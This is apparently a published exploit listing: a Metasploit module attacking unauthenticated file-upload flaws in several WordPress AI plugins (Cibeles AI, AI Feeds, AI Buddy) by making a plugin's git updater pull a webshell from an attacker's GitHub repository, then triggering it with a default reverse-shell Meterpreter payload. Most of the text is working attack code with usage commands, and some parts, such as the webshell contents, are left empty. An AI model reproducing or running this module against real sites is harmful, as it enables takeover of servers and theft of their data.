============================================================================================================================================= | # Title : AI Plugins 1.10.9 Universal RCE Exploit Module | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://ai.cibeles.net/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/210977/ & CVE-2025-23968 [+] Summary : This module exploits unauthenticated arbitrary file upload vulnerabilities in multiple WordPress AI plugins including Cibeles AI, AI Feeds, and AI Buddy. The vulnerabilities allow attackers to upload PHP webshells via GitHub integration functionality. [+] POC : use exploit/multi/http/wp_ai_plugins_rce set RHOSTS target.com set GH_OWNER attacker set GH_REPO malicious-repo set GH_TOKEN ghp_xxxxxxxx set PLUGIN auto exploit ## # AI Plugins Universal RCE Exploit Module # Exploits Cibeles AI, AI Feeds, and AI Buddy vulnerabilities # Author: indoushka ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress AI Plugins Universal Unauthenticated RCE', 'Description' => %q{ This module exploits unauthenticated arbitrary file upload vulnerabilities in multiple WordPress AI plugins including Cibeles AI, AI Feeds, and AI Buddy. The vulnerabilities allow attackers to upload PHP webshells via GitHub integration functionality. }, 'Author' => [ 'indoushka', # Metasploit module 'Ryan Kozak' # Original discovery ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-13595'], # Cibeles AI ['CVE', '2025-13597'], # AI Feeds ['CVE', '2025-23968'], # AI Buddy ['URL', 'https://ai.cibeles.net/'], ['URL', 'https://wpcenter.io/'] ], 'Platform' => ['php'], 'Arch' => [ARCH_PHP], 'Targets' => [['Universal', {}]], 'DisclosureDate' => '2025-11-27', 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Privileged' => false, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']), OptString.new('GH_OWNER', [true, 'GitHub repository owner']), OptString.new('GH_REPO', [true, 'GitHub repository name']), OptString.new('GH_TOKEN', [true, 'GitHub Personal Access Token']), OptEnum.new('PLUGIN', [ true, 'Target plugin to exploit', 'auto', ['auto', 'cibeles', 'aifeeds', 'aibuddy'] ]) ]) end def check print_status("Checking for vulnerable AI plugins...") plugins = { 'cibeles' => '/wp-content/plugins/cibeles-ai/actualizador_git.php', 'aifeeds' => '/wp-content/plugins/ai-feeds/actualizador_git.php', 'aibuddy' => '/wp-content/plugins/ai-buddy/actualizador_git.php' } found_plugins = [] plugins.each do |name, path| res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' }) if res && res.code == 200 print_good("Found vulnerable plugin: #{name}") found_plugins << name end end if found_plugins.empty? return CheckCode::Safe('No vulnerable AI plugins detected') end CheckCode::Appears("Vulnerable plugins: #{found_plugins.join(', ')}") end def exploit # Determine which plugin to exploit target_plugin = select_target_plugin unless target_plugin fail_with(Failure::NoTarget, 'No vulnerable plugins found to exploit') end print_status("Exploiting #{target_plugin} plugin...") case target_plugin when 'cibeles', 'aifeeds' exploit_actualizador(target_plugin) when 'aibuddy' exploit_ai_buddy end end def select_target_plugin if datastore['PLUGIN'] != 'auto' return datastore['PLUGIN'] end # Auto-detect vulnerable plugins plugins = { 'cibeles' => '/wp-content/plugins/cibeles-ai/actualizador_git.php', 'aifeeds' => '/wp-content/plugins/ai-feeds/actualizador_git.php', 'aibuddy' => '/wp-content/plugins/ai-buddy/actualizador_git.php' } plugins.each do |name, path| res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' }) return name if res && res.code == 200 end nil end def exploit_actualizador(plugin_name) print_status("Exploiting #{plugin_name} via actualizador_git.php...") # Generate PHP payload php_payload = payload.encoded # Create a simple PHP webshell that will download and execute our payload webshell_content = "" # For demonstration, we assume the GitHub repo contains our webshell # In real scenario, you'd need to create this repo first exploit_uri = "/wp-content/plugins/#{plugin_name}/actualizador_git.php" params = { 'owner' => datastore['GH_OWNER'], 'repo' => datastore['GH_REPO'], 'ref' => 'main', 'token' => datastore['GH_TOKEN'] } print_status("Sending exploit to #{exploit_uri}...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, exploit_uri), 'method' => 'GET', 'vars_get' => params }) unless res fail_with(Failure::Unreachable, 'No response received from target') end if res.code == 200 print_good("Exploit executed successfully") # Try to trigger the shell shell_uri = "/wp-content/plugins/#{plugin_name}/shell.php" print_status("Attempting to trigger payload at #{shell_uri}...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, shell_uri), 'method' => 'GET' }, 5) else print_error("Exploit failed with HTTP #{res.code}") end end def exploit_ai_buddy print_status("Exploiting AI Buddy plugin...") # AI Buddy requires authentication, so we need to handle that differently # This is a simplified version - in practice you'd need valid credentials print_warning("AI Buddy exploitation requires WordPress authentication") print_warning("This module currently only supports Cibeles AI and AI Feeds") fail_with(Failure::NoAccess, 'AI Buddy exploitation requires authentication') end def create_malicious_repo # This method would create the necessary GitHub repository # with the malicious shell.php file print_status("To use this exploit, create a GitHub repository with:") print_status("1. A file named 'shell.php' in the main branch") print_status("2. Contents: ") print_status("3. Ensure the GitHub token has repo access") end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================